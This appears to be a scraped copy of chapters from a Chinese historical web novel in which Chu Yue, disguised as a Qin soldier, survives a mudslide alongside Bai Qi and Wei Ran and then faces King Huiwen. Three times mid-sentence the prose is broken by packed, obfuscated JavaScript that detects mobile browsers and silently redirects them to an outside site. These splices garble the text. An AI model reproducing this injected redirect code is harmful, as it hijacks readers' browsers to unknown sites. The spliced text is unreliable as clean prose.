l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15437121|168255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越看了孟守一眼,转身继续整理东西,没有说话。 一屋子四个人,她和孟守的关系最疏远,很少说话,嬴华走前,让她有事可以找孟守,因为孟守,是季孟夫人的族弟。 魏冉和白起也不说话,一个表情比一个凝重,脸上全写着‘难言之隐’四个大字。 孟守狐疑蹙眉,“嘶,你们三个。” 秦军并未在曲沃驻扎太久,很快班师,大军移动,全靠人腿,物资坐车,将军骑马,小兵走路。 若是天晴还好,遇上下雨,无处躲避,只能冒雨而行,黄泥沾水,粘性十足,脚往前去,鞋孤零零留在原地。 白起借出左胳膊给魏冉,又伸出右胳膊给楚越,两人借力,拔出了深陷泥潭的脚,往前迈出胜利的一大步。 站稳之后,白起再借两人手臂出来。 撑白起的时候,楚越还顺手扶了附近一个士卒。 士卒三三两两,前进的艰难,稍有不慎,就是连排摔进泥地,变成‘兵马俑’。 走出泥泞,脚上的土慢慢干了,楚越喜提一双泥靴,她和很多秦军士卒一样,在路边敲掉腿上的黄泥。 黄土斑驳掉落,她觉得自己越来越像出土文物了。 就是年份是负的。 几场大雨过去,植物疯长,道路两边荆棘勾破衣袍,划烂腿上行缠,大军白天行军,晚上补衣服,魏冉手最巧,不仅能补,还能补出花来。 是真的花。 楚越看着衣服上的小花,惊讶道:“魏冉,你还有这个手艺?你以后可以去当缝人了。” 魏冉的脸陡然沉了下来,“什么缝人,我以后是要当大将军的。” “好好好,大将军。你哪儿来这么好的手艺?” “我母亲教的。”魏冉道,“她说我去从军,肯定没人照顾我,所以就教我怎么补衣服,我这么聪明的人,当然是一学就会。” 提到母亲,楚越忽然想起,魏冉说的,‘王后托人找到他’,她倒不知,这位将来的楚系外戚首领和魏人还有千丝万缕的联系。 “你母亲是楚人,那你父亲呢?”楚越打听道。 她觉得应该先从魏冉的魏入手。 魏冉和芈夫人、芈戎是同母异父的姐弟,母亲是同一个,父亲却不是同一个,在先秦,有两种可能,改嫁和偷情。 姓魏,有姓氏。 战国时,不是所有人都有姓氏。 大名鼎鼎的睡虎地秦简的主人公喜,就没有姓氏,他的身份放在同时代,已经不算低。但姓氏这个东西,是从祖上继承的,有封地以封地,有官职用官职,都没有就用父亲的字。 有姓氏,就有出处。 后世对百家姓进行研究,魏氏出处主要是两大部分,魏国王室,和穰侯魏冉。 显然魏冉的魏,不能得自魏冉,要么是他老爹的字,要么和魏国有关系。 从他老爹下手,简单干脆。 魏冉看了她一眼,洞察到她的用意,“想打听什么?直接问,别叽叽歪歪的。” “王后怎么会找到你?”楚越问出自己的疑惑。 “我父亲是陪魏国宗女出嫁楚国的大臣,也是魏国的宗室,虽然很远了,但也是。【1】”魏冉道。 春秋战国,一国嫁女,往往会陪送车马、器物、臣仆等,而娶妇的一国,也要相应给这些陪嫁一些官职,这些臣子围绕女子,构建起一个新的利益集团,叫外戚。 楚越恍然大悟,难怪,魏冉能在武王时就受到重用,执掌咸阳卫戍。掌控禁军之人,向来是天子心腹,不是宗室,就是外戚,魏冉肯定不是宗室。 如果有这一层身份,那就说得通了。 他既是魏系外戚,又是楚系外戚,因为魏氏出身,所以武王重用他,又因为另一半楚系血统,昭襄王也重用他。 白起和孟守巡营归来,拍掉身上雨水,忧心忡忡道:“雨越下越大,看起来短时间内不会停。” 18. 遇险 大雨哗哗从天而降,半夜,水就进了帐篷,秦军只能往更高处去,雨后路滑,车轮打滑,装满辎重的马车,卡在半山腰。 “快来帮忙。” 楚越闻声,上前推车。 车很重,所有人用尽全身力气,马车依旧纹丝不动,轰隆的雷声吞噬车夫的嘶吼,楚越没听清,不知发生了什么,但见附近的人拼命往两边跑去。 等她意识到,危险已经落到了头上。 刹那间,手上的重量陡然加了千万倍,她支撑不住,被掀翻在地。 黑暗中,那股巨力拖拽着她,往一个方向而去,耳边,哗啦啦全是杂声,身体不断撞上各种东西,楚越看不清周围的情况,什么也抓不住,一时惶恐无措。 失控的马车拖拽着她,往未知的深渊跌落。 “立春!” 闪电划破天幕,照亮山坡上一张张惊恐的脸。 下坠的速度很快,中途被石块、大树阻挡,偶有减慢,一颠簸,身后传来细小的布帛撕裂声,楚越很快意识到是自己的衣服挂在了车上, 闪电连绵,当光亮驱散黑暗,勉强可以看得见些东西的时候,楚越竭尽所能,判断着周围的环境。 接连两次伸手,抓住身边藤蔓,马车巨大的冲击力,将藤蔓连根拔起。 身后传来清晰的布帛碎裂声,楚越第三次伸手,抓住了一截树干,强烈的撕扯感,冲击小臂肌肉,她觉得自己的手要被拽断了。 但好在,但听‘刺啦’一声,她顺利和马车分离。 树干受到冲击,咔嚓断裂,摇摇欲坠,楚越立刻抓住了旁边的茂盛的藤蔓,掌心立刻传来尖锐疼痛。 怎么是荆棘? 荆棘旺盛,枝蔓相缠绕,一时居然承受住了楚越的重量,为了保命,她只能用力,将长着尖刺的藤蔓缠在手上。 闪电熄灭,世界将要恢复黑暗的最后一瞬,楚越看到马车上还有一个人,闪电很快熄灭,她看不清这个人的脸。 应该是来不及跳车的车夫,如果他提前跳车了,那车后的人现在应该都完蛋了。 马车在前,一路势如破竹,等车夫再经过时,能抓住的东西已经不多。 擦肩而过的短暂刹那,楚越用力抓住了那人。 沉。 真沉。 吃了多少东西,能不能减肥? 楚越高估了自己的力量,低估了对方的重量,她一手撑不住两个人,缠在手腕的荆棘脱手,两人一起沿着马车开凿出的沟壑,泥鳅一般朝山下滑去。 马车在地面凿出一条深壑,黄泥沾水,根本站不住脚,两人势如破竹,眼见就要一头扎入奔腾江水之中。 危机时刻,下滑的速度忽然减弱,原来是那个人抓住了旁边的一棵....小树苗。 趁着这一丝空荡,楚越四处找寻落脚点,脚下不远处,一棵被拽出主根,旁系却深扎泥土的倒树,吸引了她的注意力。 小树苗很快被连根拔起,楚越调整滑落方向,成败在此一举。 复杂的根系,拦住下坠的两人。 冰凉的雨水落在脸上,耳边,河水滚滚,在黑暗中,仿佛恶鬼咆哮,脚下树根摇摇欲坠,树根一沉,楚越的心也随之猛然一跳。 她这才感到害怕,身体不由自主抖了起来,旁边的人,也没好到哪儿去,呆若木鸡。 闪电照亮两张沾满雨水的苍白面孔。 楚越:“?” 怎么是诙? 这是什么天杀的缘分?孽缘。 诙也认出了楚越,望着她,牙齿上下打颤,说不出一句话来。 现在不是计较往日恩怨的时候,两人紧紧抓着彼此,却不约而同别开头,一起大喊道:“救命!” “救命。” 山坡上的人追了下来,听见呼救,喜出望外,“立春。诙。” 有人拿来了绳子,白起也顾不上危险,将绳子绑在腰间,抓着另外一条绳子就顺着沟壑往下滑去。 楚越踩着摇摇欲坠的树根,脚下是翻腾的河水,漫天雨水,冰凉砸在脸上,她恐惧的几乎窒息,一颗心狂跳。 黑暗中,传来了白起的声音,“楚越。楚越。” 她抬头,闪电不曾亮起,暴雨夜,被笼罩在无边的黑暗之中。 楚越强迫自己冷静下来。 秦军不会放弃队友,不仅是军法,也是感情,她深吸口气,选择相信山坡上的人会来救自己。 白起的声音越来越近,闪电亮起,他们终于看到彼此,绳子落在眼前,却只有一根。 她体重比诙轻,比他撑得时间更长,楚越来不及去想,多一丝迟疑,就多一份危险,她当即拽住绳子,将它往诙的腰上绑。 “你....”诙显然想说什么。 “闭嘴。” 虽然手在发抖,但楚越还是尽量在回想起登山结的打法,她将绳结系紧,又扯了扯,确认无误后,才对上面喊道:“往上拉。” 白起拽了拽绳子,上面的秦军齐心协力,将诙往上拉,诙一离开树根,楚越明显感觉到,脚下的树根,在往上回弹。 等待的时间太过漫长,楚越全身都在发抖,生怕脚下的树根,支撑不住,河水奔腾,波涛汹涌,令人望而生畏。 她往上望去,想看绳子什么时候再一次落下。 绳子没有落下,倒是白起一直在寻找合适的落脚点,朝她而来。他似乎是有些着急了,好几次找准的位置,都不结实,一脚踩过去,直往下坠。 “别过来。”不知为什么,这一瞬,楚越出奇的冷静,对白起喊道: “白起,别过来。” “你不要害怕。” 两道声音,几乎是同时发出,与雨声重叠,雷声轰隆,闪电划破天幕,楚越看见,白起漆黑眼中,浮现的急切。 闪电很快暗了下去,世界恢复黑暗,世界只剩下耳畔雨落千钧,哗哗作响,和脚下江河涛涛,汹涌澎湃。 白起望着眼前黑暗,到处光秃秃一片,根本无处落脚,他终于认清了现状,停在远处。 “你不要害怕,我们正在想办法救你。” 绳子再一次垂下,楚越将绳子绑在身上,巨大的拉力,拽着她,一点点往上升去。 快到山边时,魏冉也不顾不上体统不体统,一把抓住她的手臂,硬将她拽了上去,众人围住满身是泥的楚越,关切道:“你没事吧!” 白起也爬上来了,挤开人群,询问楚越道:“有没有受伤?” 脱离危险,她全身都痛了起来。 她的腿。 她的腰。 她的背。 都好痛。可是她不敢说,生怕军医要帮她看身上的伤口,楚越对上白起担忧的视线,为难摇了摇头,“没事,一点皮外伤。” “没事就好。”白起也看出来她的为难,没有继续追问下去。 楚越伸出被荆棘刮得鲜血淋漓的手掌,和手臂上道道青紫,“手疼。” 这是真的疼,几根刺还扎进手里了。 头痛医手,背痛医手,腿痛也医手。 好一个对症下药。 大军继续往上,最终在一处地势较高的地方安营扎寨,营帐搭起,魏冉与孟守安顿士卒,让白起留下来照顾楚越。 手上只是些皮外伤,清洗干净,挑出小刺,包扎起来,便没什么大碍。 楚越望着蹲在她面前,为她清洗伤口的白起,不知怎么想起自己杀了人之后,那沾满血却又在睡了一觉之后,变得干干净净的手。 头上的伤口是他包扎的话,手应该也是他擦干净的吧。 白起那时,也是像现在一样,帮她擦去手上血迹吗? 楚越正盯着白起出神,白起忽然抬头,两人视线相撞,楚越愣了一下,目光有些躲闪。白起见状,眼中浮起丝诧异。 “你手上有几根刺,我帮你挑出来,有点痛,忍着点。” 魏冉的缝衣针又派上了用场,白起在火上烤了烤,开始挑刺,掌心传来刺痛,楚越五指本能收缩,但白起早预料到,捏住了她四指。 他拽着楚越,聚精会神盯着她掌中伤口,帐外雨滴拍打帐篷,白起丝毫不受外界影响,手又稳又准。 手上的伤口处理好,白起又问,“你还有哪儿受伤没?” 身上依旧很痛,楚越摇了摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454680|168255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,心想身上这点伤应该没事的,要是有事,她这会儿早倒下了。 没倒下,就是没事。——来自名医楚大夫的诊断。 伤兵是受到优待的,于是楚越坐上了车。 但马车才走了几里地,楚越就从车上跳了下来。 颠。 太颠了。 颠得她全身的伤都隐隐作痛。 没有减震的破车,谁爱坐谁坐。 诙追了上来,一改从前无赖,对一瘸一拐、身残志坚的楚越道:“走得了吗?走不了我背你?” “不不不。”楚越连连摆手,“我是大秦的锐士,区区小伤。” “好吧。不过,你不要逞强,大秦锐士。”诙像个人了,楚越诧异看了他一眼,心想猿猴进化成人类的速度这么快吗? 他陪着楚越走了一段路,走到一半,诙忽然问道: “你到底叫什么?立春,还是楚越?将军、都尉都帮你说话,还有魏冉和白起,你究竟是什么来头?” 显然那天晚上,诙听到了白起叫她的真名。 楚越侧首,认真看了诙一眼,“怎么,打算提着谢礼,去我家感激我的救命之恩吗?” “那倒不是。” “那你打听我干嘛!你又不去我家,我家是哪儿的,跟你有什么关系?” 诙想了想,“你是君子,肯定不会和我这个小人计较的,对吧。” 战国时的君子,更多指向身份,国君之子,贵族之后,兼指道德,发生这么多事,只要不瞎,都知道她惹不起。 楚越一时笑了,“你把我捧得这么高,是想摔死我吗?我和你计较什么?难不成还还追着你,要你报答我的救命之恩吗?” 诙也笑了,看向楚越,“报恩是要报的,还请兄弟赐给我一个机会,让我报答。” “再说吧。” 她自己都是泥菩萨过江自身难保了。 ‘大秦锐士’咬牙,拄着她的拐,一步一步往咸阳方向而去,脸上的擦伤红肿,沾了汗水,火辣辣的疼,手臂擦伤摩擦粗布衣料,针扎一般。 可比起手,腿更不给力。 腿是真的磕着了。 她以后不会变成瘸子吧?!早知道不救那个猿猴了。 ‘锐士’在心中默念,“她可以的。” 走了两天,‘锐士’绝望坐在地上。 咸阳,怎么这么远? 一只手落到她面前,楚越抬头,是白起,“离咸阳还很远,我背你吧。” 楚越有些犹豫。 白起已经帮了她很多了,先是偷东西,再是练自己,可她出来,不是给人制造麻烦的。 魏冉从白起背后走出,蹙眉道:“哎呀,是...兄...兄弟,就别这么唧唧歪歪了,不把你完整带回咸阳,我交不了差。” 他长叹口气。 上有都尉,再往上有将军、王后,就连姐姐芈夫人,也在信中叮嘱,让他务必关照这个可能是司巫的人。 说什么,司巫曾经为大王解梦,说大王将喜得一公子,后来果真应验,便是姐姐所生的公子稷。 芈夫人初来乍到,地位不稳固,生下一位应王梦而生的公子,对她稳固地位大有裨益,加之楚人也好巫,她对楚越颇有好感,起码不厌恶。 得知她可能在自己弟弟麾下,芈夫人写了一封长信,交代魏冉。 楚越要是出了事,魏冉跟谁都交代不了。 白起似乎看出楚越犹豫,“你既然是大秦锐士,我们就是同袍,同袍之间,理应互相帮助。” “对,大不了你以后也帮帮我俩。”魏冉顺着白起的话说了下去。 楚越觉得有理,抓住了面前那只手,“谢谢你们。” 魏冉笑了下,扶着楚越上了白起的背,“回咸阳了别忘了我俩就行了。” 楚越一句“苟富贵,勿相忘”就要脱口而出,但再一想,不对,这话在大秦有点反动,她立刻改口: “那是自然,回咸阳,我定备上一桌酒菜,与你二人道谢。” 咸阳。 楚越望向道路尽头。 在咸阳等着她的,又是什么呢? 19. 回到咸阳 白起与魏冉轮流背着楚越,往咸阳方向而去,走几日后,楚越膝盖上的伤好了许多,她便自己下来走。 从咸阳出发,再走回咸阳,这一趟,历时一年有余,楚越完成了一个零级小夫到一级公士的转变。 大军凯旋,秦王派使者劳军,军中上下修整,将士轮流回家探亲。 楚越受人传唤,进了大帐,孟守也在,站在下首,正和使者汇报着什么。 使者坐在上首,正低头看着手中竹简,楚越见来人有些熟悉,身着玄端,戴高冠,腰间悬玉、佩剑,只是低着头,看不清面貌,不知是谁。 “公子,张立春带到。” 使者抬起头,视线从手中竹简挪到楚越身上。 看清使者样貌,楚越一声不吭上前,在孟守偷偷打量的视线中,径直走向使者,她自顾自在帅案边坐下,左手取肉,右手倒酒,大吃大喝,如入无人之境。 将军和小兵吃的饭,大有不同。 饭还得是吃别人的才香啊。 嬴华笑着看向她,“好大的胆子,将军让你吃了吗?” 楚越放下酒盏,幽怨看向嬴华,嬴华无奈,“你吃你吃。” 孟守见状,“将军,属下告退。” “走什么,坐下来,一块吃。”嬴华朝孟守招手。 “是。”孟守拘谨上前,在帅案边端坐,见嬴华面前漆杯空着,立刻起身为他倒酒。 楚越头也不抬,眼里只有酒菜。 “你们俩应该认识吧,孟守是我夫人季孟的族弟。” 楚越忙于吃饭,无暇他顾,随便应了声,“嗯。” 孟守答道:“是,将军,我与立春兄弟,同在一队,他年纪虽小,但作战十分英勇。” “是吗?”嬴华一时诧异,再看向楚越的眼里多了欣慰,“不愧是我秦人子弟,好!” 楚越头都不抬,但听孟守继续夸她。 “他与周围人相处都十分融洽,前不久,还救了同队一个公士。” 孟守平时不怎么说话,可以说得上沉默寡言,原来不是生性不爱说话,关键时候,修辞妙语,信手拈来。 商业互夸的时候到了,楚越不情不愿放下筷子,“哪里哪里,我在军中,也多亏孟兄照顾。” 任何饭局变成商业晚宴,再好的菜也食之无味。 看出楚越胃口不好,嬴华适时让孟守离开,孟守也看出端倪,借机离去。 “你怎么了?” “没怎么。” 楚越又拿起了筷子,一边吃,一边听嬴华说话,“我看了军功册,不错啊,看来王易把你带的很好。” ‘猎人’兵马俑叫王易,楚越老听人‘都尉’、‘王都尉’的叫他,只知道他姓王,不知道他叫什么名字。 现在知道了。 王...这个姓氏在秦国军界,还是比较出名的。 “嬴轩那边,我已经帮你说好了,你到时候登门跟他道歉就行,态度要诚恳点,知道吗?” 楚越的视线被桌上的军功册吸引,这东西,她是接触不到的,楚越聚精会神盯着上面的记录,随口搪塞了嬴华一句,“知道了。” 嬴华继续道:“还有,过几日,大王会亲自来犒赏将士,我带你去见大王,能不能得到大王的原谅,就看你自己了。” 他似乎笃定了楚越一定会和他回去。 楚越歪头,看向嬴华,记忆中,他很少像如今一样,穿着正式的玄端。记得上一次见他穿着这身玄色的庄重礼服,还是在嬴驷国婚之时。 弱冠少年,周旋使者之间,进退有度。 麟之趾,振振公子。 她忽然想起他的身份,是秦国的公子,对于一位公子而言,他的世界那么广阔,故而,他只是在想起的时候,才会来找她。 强烈的失落感,一次次被重逢的喜悦冲淡,她就这么在等待与重逢中,度过了将长大未长大的荒芜岁月。 想到这里,楚越眨了眨眼睛,眼睛酸涩,却没有如往常一样渗出热泪。 见楚越盯着自己,嬴华也看向她,“怎么了?” “困了。”楚越抬手,揉了揉眼睛,眼眶有些湿润,眼泪虽迟但到。 嬴华叹口气,“怎么老跟小孩一样,我原以为你出去一趟,能长进不少。” “我一直都这样。”楚越拍了拍手,站起来。 嬴华无奈,先将她带到自己的帐篷洗漱休息,自己则在偏帐住了一晚。 眼前衣物崭新,白襦黑裳,腰带、配饰,一应俱全,看来,嬴华这次是真的打算带她回去。 她……要回去吗? 滴答,滴答... 血落的声音,在黑暗中连绵不绝,楚越意识到自己在噩梦中,身体却不能动弹分毫,好不容易睁开眼睛,强烈的困倦又要将她扯回深渊。 挣扎难脱,她反反复复在睁眼和睡着之间起伏,陷入梦魇前的最后一瞬,楚越想到了白起。 如果他在,一定会把自己叫醒的吧。 楚越不知在黑暗中挣扎了多长时间,才浑身是汗睁开眼睛,视线聚拢,映入眼帘的,是王后那张温柔的脸庞,她正用巾帕,轻柔为自己拭去汗水。 “王后...”楚越撑着手臂坐了起来,目不转睛盯着面前王后。 王后心疼擦去她脸边汗水,“好了,大王来了,快起来,随我去见大王。” 穿衣服的时候,楚越感觉掌心一阵毛糙,低头一看,自己掌心老茧,已经将细密的丝织物,勾的抽丝。 做司巫和做一级小兵,生活是截然不同的。 天启阁中有许多宫人、寺人,每天,有专人打扫卫生,木质的地板,被擦得发亮,门外,也总守着人,等着她的命令。 虽然她平时也没什么命令。 除此之外,还有专门为她制衣的缝人、做饭的庖人、教她读书、礼仪的傅姆。 增加就业岗位*N。 所有人全围着她转,她俨然这个小小世界的中心。 不用和人厮杀就能活下去,她只用在嬴驷心神不宁,或者做了什么稀奇古怪的梦,召她去解梦时,胡说八道一番。或者陪在孤寂的王后身边,安慰她。 但,婚逃都逃了,覆水难收,算了。 楚越换好衣服,来到中军元帅行辕,嬴驷端坐上首,嬴华和几位主将站在下首,见王后来了,嬴驷起身,伸手扶着王后在他身边坐下。 坐定之后,王后对楚越使了个眼色。 楚越吸气,深呼吸,扑通一声跪下,“王上,臣错了。” 嬴驷黑着张脸不理她,只问那几个将领道:“张立春在军中如何?” 领兵的将军肉眼可见的懵了,而后变得慌乱。 张立春是谁? 大王为什么会问一个小兵? 踌躇满志等着大领导问话的将军,遇到了个自己根本一无所知的问题。 将军一刹慌乱,看向身后几位都尉,王都尉对上了他的视线,将军悬着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15462813|168255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的心这才微微放下,用眼神示意他上前,王都尉抱拳,向嬴驷行礼。 “启禀我王,‘张立春’在我军效力,首战破阵有功,全队进爵一等,后第二战,其伍军士五人,有一人战死,按秦法,与所斩首级功过相抵,不记功,第三战,也有人战死,不记,故他现为公士。” 打了三仗,归来仍是一级。 为了鼓励战士杀敌,秦军功计首,避免士卒为抢人头,不顾大局,或为了人头,出卖队友,于是现阶段计算军功,按个人战斗情况和集体战斗情况分开授功。 集体完成kpi,功劳均摊,完不成,罪过均摊。 完成之后,减去因为战友阵亡所犯之罪,为此次获得军功,而后再计算个人军功。 一个甲士固然能升一级,但甲士不是那么容易被杀。 这个时代的军制,一乘战车包括四匹马、一辆战车、三名甲士——御者、车左、车右和跟随的步卒。 砍下车上甲士的人头,起码需要先干掉两翼少说二十多则四五十的轻装步兵。 一个甲士尚且如此,更何况甲士之上的将军。 甲士、将军都不是很轻易能杀掉的,寻常士卒能获得,不过集体军功。 楚越已经够努力了,剑都要砍卷刃,她又不什么拳王泰森一般的人物,能接连几次保住命,干掉和她体型相当的成年男人,已经是非常努力了。 不努力她现在就是魏军军功册上的一笔墨迹了。 首级*1。 秦军中,人人都是卷王,敌人逃跑跑得快,他们追得更快,每次追敌,但见无数道黑影,‘嗖’的从自己身边窜了出去,博尔特见了,都要甘拜下风。 她还好,没犯什么大错,最后算一算,也升了一级。 降级就太常见了,从百夫长开始,军功计算就不以人头而是指挥能力,手下士卒伤亡太多,没有完成kpi,都是降级的理由。 听王都尉汇报完‘张立春’的战绩,主将大概知道这人只是个化名。大王既然过问,就说明重视,既然重视,肯定不是常人。 那个没见过楚越的主将接过了王都尉的话,“有军功册为凭,请君上过目。” 他双手捧上一卷竹简,嬴驷打开扫了一眼,将竹简用力丢到了桌上,声响不大,却清晰落到每个人耳中。 见嬴驷不悦,王后当即求情道:“大王。” 嬴驷抬手,制止了王后。 王后欲为楚越求情,却碍于嬴驷。一旁嬴华深深看了楚越一眼,楚越赶紧求饶,“王上,臣错了。” 嬴驷冰冷的目光扫过楚越,“王后为你求情,嬴华与诸将也帮你求情。寡人查验军功册,你也的确立有战功,既然如此,寡人就不再追究你私混进军营这件事。” 楚越喜出望外,“谢君上。” 大老板的涵养就是不一般。 王后见嬴驷松口,朝楚越招手,楚越上前,走到王后身边,宫人取来垫子,楚越乖巧跪坐。 “张立春的事情,寡人知道了,诸位将军征战劳累,先下去休息吧。” 诸将行礼告退,“诺。” 将军们退出王帐,下一瞬,楚越的耳朵便猛然一疼,嬴驷揪住楚越的耳朵,咬牙切齿道: “你好大的胆子,居然敢逃婚!你让寡人的脸往哪儿放?你让嬴氏宗族的脸往哪儿放?” “你知道寡人为了让那帮宗室元老答应这门婚事废了多少嘴皮子吗?你倒好,一声不吭的跑了?!” 20、歌声 嬴驷怒气冲冲松开手,周身王者威严肃穆庄严。 楚越逃婚之前就知道,自己此举或许会让身为主婚人的赢驷在宗室脸面扫地,而且往更严重地方向说,她也无异于挑衅嬴驷君主权威... 但...不能为了君王的脸面,牺牲她的幸福啊。 逃都逃了,覆水难收。 她伏在地上,认罪态度优良。 “王上!我有罪,我有大罪!罪臣真的知罪了,任凭王上责罚,要打要骂,哪怕砍了罪臣这颗脑袋,罪臣绝无怨言。” 嬴驷冷哼一声,“你以为寡人不会砍你是吧!” “君要臣死,臣不得不死。” 楚越嘴上这么说,心想却想万一嬴驷要杀她,自己怎么办才好。 总不能真的跟冤大头一样死了吧。 君要臣死,臣当然不死,非要臣死,臣只能连夜提桶跑路,投奔他国。 毕竟,魏国的公族张仪都能来秦国当丞相,帮着秦国打魏国,这个时代,还没有从一而终这个词。君要臣死,臣马上就跑。 但跑的话,马甲已经掉了,怕是不太好跑,现下只能找人求情,争取一个缓刑,再等待时机逃跑。 “把手伸出来。”嬴驷的声音从头顶传来。 楚越不明所以,但还是乖乖伸出了手。 一双手干瘦,掌心老茧丛生,她刚到军营,还不怎么会干活,更不会防护,搞的自己伤痕累累,手上不是水泡就是血泡。 还是那个甲士骂她笨,教她用布带缠在手上。 水背上新旧大小伤口堆叠,有捡柴的时候被荆棘划伤的,也有那天掉下悬崖,被荆棘挂伤的,右手小手指指尾,还有一块小小的冻疮。 大秦军营不养闲人。 要吃饭,得干活儿,要干很多很多活。 “嬴华说你吃了很多苦,寡人看你都是活该!”嬴驷将目光从楚越手上瞥开,嫌弃道:“起来吧,跪在这碍寡人的眼!” 楚越从地上爬了起来,新换的衣服裙摆很长,楚越还没习惯换回来,一不留神踩到自己的裙裾,脚下趔趄,王后扶了她一把。 心疼道:“当心!” 嬴驷的眉头蹙眉得更紧了,“你说说你,连个路都不会走了。” “是,臣有罪!”楚越不敢乱说话。 嬴驷嫌弃的扫了一眼垂头丧气的楚越,“你跟着王后和荡儿先回咸阳,等这边的事情了结了,寡人再慢慢跟你算账!” “荡公子也来了吗?” “来了,闹着要找你呢。”王后道。 嬴华见嬴驷脸色不好看,对楚越道:“我带你去找荡公子。” 两人出了大帐,嬴荡正在外面和几个侍从玩耍,见到楚越,他立刻挣脱随从的手,朝楚越跑了过来,“姊姊!” 一年多不见,嬴荡的个头窜了一番,已经快到楚越的胸口,嬴荡抱住楚越,“姊姊,你去哪儿了?” “姊姊...有事情。”楚越信口开河。 嬴华抱起嬴荡,笑着问道:“荡公子,军营好不好玩啊?” 嬴荡点点头,“好玩。荡儿长大了也要做大将军,和公叔一样威风。” “哈哈哈哈。”嬴华在嬴荡脸上亲了一下,“公叔亲一口,真乖,荡公子好好吃饭,长得高高大大,以后公叔带你上战场杀敌,替我们大秦开疆拓土。” 嬴荡搂住嬴华的脖子,“好。公叔,一言为定,荡儿一定快快长大。” 嬴华很喜欢嬴荡,一个赳赳武夫,和另一个将来的赳赳武夫,彼此惺惺相惜,相见恨晚。 楚越翻了个白眼。 武夫。 都是武夫。 “我要回去一趟,还有东西没拿,荡儿,陪姊姊一起去。”楚越朝嬴荡伸手。 嬴华看了楚越一眼,并未放下嬴荡,而是道:“我陪你去。” 正蹴鞠的诙见同伴忽然停了下来,顺着他们的视线望去,惊愕瞪大了双眼。 他不可置信的望着眼前人,白襦玄裳,长发梳在耳后,于腰部结做垂髻,虽无太多装饰,但腰间、脖间的成套玉组佩,彰显其身份。 原本清俊的无名少年,眨眼间变成了端庄从容的女士。 她身边还跟着个衣着华丽的青年,诙认识,正是之前见过的为‘立春’出头的那个年轻将军。 诙心慕然悬了起来,将军换了身装扮,玄端礼服,通体漆黑,秦国尚黑,玄非常人所能服之色,高冠长剑,一看便是君子。 尤其。 他想到了楚越剑上的燕子纹。 这将军的身份,或许比自己一开始猜测的要高的多,既然将军是,楚越也必定是。 诙愣愣望着不远处两人,不知如何是好,直到两人走到了他面前,楚越望着他,抬起手,在他眼前晃了晃。 “怎么,没见过美人吗?” “你...” 嬴华似乎不记得诙了,还问楚越,“这也是你的朋友吗?” “我是他的恩人。是吧?” 诙当即反应过来,点头道:“是!” “哦,他就是你救的那个公士。”嬴华恍然大悟。 众人都盯着楚越,交头接耳,窃窃私语,几个与楚越同伍的士卒路过,见众人都围在一起,走上前来,也发现了楚越,上下一番打量,目光困惑而愕然。 似乎确定,但又怀疑。 万一是同胞兄妹呢。 楚越笑了下,展开双臂,“怎么样,我像女子吧。” 她一开口,队友立刻从声音判断出来,“还真是立春,我还以为是他家人呢。” “像。”队友眨了眨眼睛,问楚越道:“立春,你怎么装成女子了?还有模有样的。” 楚越见对方被自己绕进去,哈哈大笑,队友摸着头,好半天才反应过来,震惊道:“不是!你真是女的啊。” 同行一年半载,不知她楚.木兰.越是女郎。 楚越笑的很大声,“哈哈哈哈哈。” 孟守见士卒没有蹴鞠,围在一起,上前查看,在见到嬴华后,立刻行礼,“公子。” 士卒见状,也纷纷行礼,“公子。” 孟守抬头,惊愕的目光扫过女装楚越,又迅速垂下,楚越看了孟守一眼,环视周围,没见到魏冉与白起,于是问道: “魏冉和白起去哪儿了?” 这才是她的真实目的。 孟守道:“他们去河边洗衣服了。” 楚越取了自己带来的两把剑,让嬴荡帮她拿着,“你们在这里等我,我去找个人,和他道别。” “什么人?”嬴华很好奇。 楚越想了想,“两个帮了我很多的人。” 泾水清澈,洋洋而过,楚越沿着河而下,河边都是趁着天气好洗衣服的秦军士兵,走了一段距离,她才远远看见两道熟悉的身影。 魏冉站在河边,将一块块石子往水面打去,石子蜻蜓般接连掠过湖面,他得意一笑,用炫耀的口吻对身边白起道:“看到没!” 白起抬头,盯着魏冉的眼睛,魏冉被白起这么一看,眼中骄傲慢慢消失,他不情不愿上前,木棍有一下没一下的往河边那堆衣服上砸。 “魏冉,白起。”楚越朝他们挥手,声音惊动沿岸秦军,众人纷纷朝他们望来。 这里是秦军的大营,平时不会有外人进来,忽然出现个女子,自然令人意外。 两人回首,见是楚越,也感到意外,那日楚越被使者传走后,便没有再回来,他们都以为,她不会回来了。 谁料她不仅回来了,还身着女装,两人见此,眼中不约而同闪过些许震惊。 知道她是女子,和真的恢复身份,还是有点差距。 见面前两人吃惊,楚越瞪大眼睛,不免困惑,他们两个是失忆了吗?怎么这副表情。 短暂僵持后,魏冉率先行礼,“司巫。” 白起也随着魏冉行礼,“司巫。” “你们俩还挺客套。”楚越笑了下,双手背在身后,“既然如此,那本司巫就却之不恭,受你们这一礼。” 楚越笑着低头看向魏冉,视线相对,他最先忍不住笑出声来,楚越又看向白起,白起见状,微微一笑。 一时严肃,很快所剩无几。 见魏冉方才在漂石,楚越捡起快石头,“我也试试。” 